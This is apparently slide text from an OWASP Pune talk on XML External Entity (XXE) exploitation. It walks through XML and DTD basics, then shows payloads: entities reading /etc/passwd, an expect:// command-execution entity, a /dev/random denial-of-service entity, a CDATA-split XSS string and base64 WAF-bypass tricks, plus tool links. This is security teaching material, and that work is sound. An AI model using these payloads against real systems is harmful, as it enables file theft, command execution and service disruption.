XXE Exploitation
XXE Exploitation
XXE Exploitation
@owasp_pune
XXE
Exploitation
XML
Introduction
Boring Theories :-P
Extensible Markup Language (XML) is a markup language that defines a set of rules
for encoding documents in a format that is both human-readable and machine-readable.
The World Wide Web Consortium's XML 1.0 Specification[2] of 1998[3] and several other
related specifications[4]—all of them free open standards—define XML.[5]
The design goals of XML emphasize simplicity, generality, and usability across the
Internet.[6] It is a textual data format with strong support via Unicode for different human
languages. Although the design of XML focuses on documents, the language is widely
used for the representation of arbitrary data structures[7] such as those used in web
services.
Source: Wikipedia
Important Theories :-)
● XML is case-sensitive
<!DOCTYPE root
[
<!ELEMENT root (name,location,org,topic)>
Note.dtd
<!ELEMENT name (#PCDATA)>
<!ELEMENT location (#PCDATA)>
<!ELEMENT org (#PCDATA)>
<!ELEMENT topic (#PCDATA)>
]>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root SYSTEM "Note.dtd">
<root>
<name>&name</name>
<location>Pune</location>
<org>Qualys India Pvt. Ltd.</org>
<topic>XXE Exploitation</topic>
</root>
<!DOCTYPE root
[ <!ENTITY name “Nirav”>
<!ELEMENT root (name,location,org,topic)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT location (#PCDATA)>
<!ELEMENT org (#PCDATA)>
<!ELEMENT topic (#PCDATA)>
]>
● Double Quote (“)
● And (&)
<root>
<name>Nirav</name>
<location>Pune</location>
<org>Qualys India Pvt. Ltd.</org>
<topic>XXE Exploitation<>&</topic>
</root>
Error
<root>
<name>Nirav</name>
<location>Pune</location>
<org>Qualys India Pvt. Ltd.</org>
<topic>XXE Exploitation<![CDATA[>]]</topic>
</root>
Correct
XML XSS Payload
<![CDATA[<]]>script<![CDATA[>]]>alert(‘XSS’)<![CDATA[<
]]>/script<![CDATA[>]]>
<script>alert(‘XSS’)</script>
XXE
Exploitation
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root SYSTEM "Note.dtd">
<root>
<name>Nirav</name>
<location>Pune</location>
<org>Qualys India Pvt. Ltd.</org>
<topic>XXE Exploitation</topic>
</root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY filename SYSTEM file:///etc/passwd>]>
<root>
&filename
</root>
Demo on
Mutillidae
Demo on
bWAPP
Demo on
Portswigger
file://
ftp://
expect:// leads to RCE in server but
zlib:// PHP PECL is required in the server.
data://
glob:// <?xml version="1.0" encoding="UTF-8"?>
phar:// <!DOCTYPE root [!ENTITY filename SYSTEM expect://ls>
<root>
ssh2:// &filename
rar:// </root>
ogg://
expect://
What can we achieved from xxe?
● File Retrieval
● Denial Of Service
Different
Scenarios to
Exploit
Blind XXE
{"search":"name","value":"owasp"}
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"search":"name","value":"owasp"}
{"errors":{"errorMessage":"org.xml.sax.SAXParseEx
ception: XML document structures must start and
end within the same entity."}}
Converting JSON to XML
{"search":"name","value":"owasp"}
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY dos SYSTEM "file:///dev/random" >
]>
<data>&dos;</data>
WAF Bypass
Output will be in base64
<!DOCTYPE scan [
<pass>&secret</pass>
Convert Payload in Base64
ZmlsZTovLy9ldGMvcGFzc3dk = file:///etc/passwd
Converting UTF if firewall block by unicode character
Source: Wallarm
Renaming root
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
Tools for the
Trade
https://github.com/staaldraad/xxeserv
https://github.com/lc/230-OOB
https://github.com/enjoiz/XXEinjector
https://github.com/BuffaloWill/oxml_xxe
http://www.beneaththewaves.net/Software/On_The_Outside_Reaching
_In.html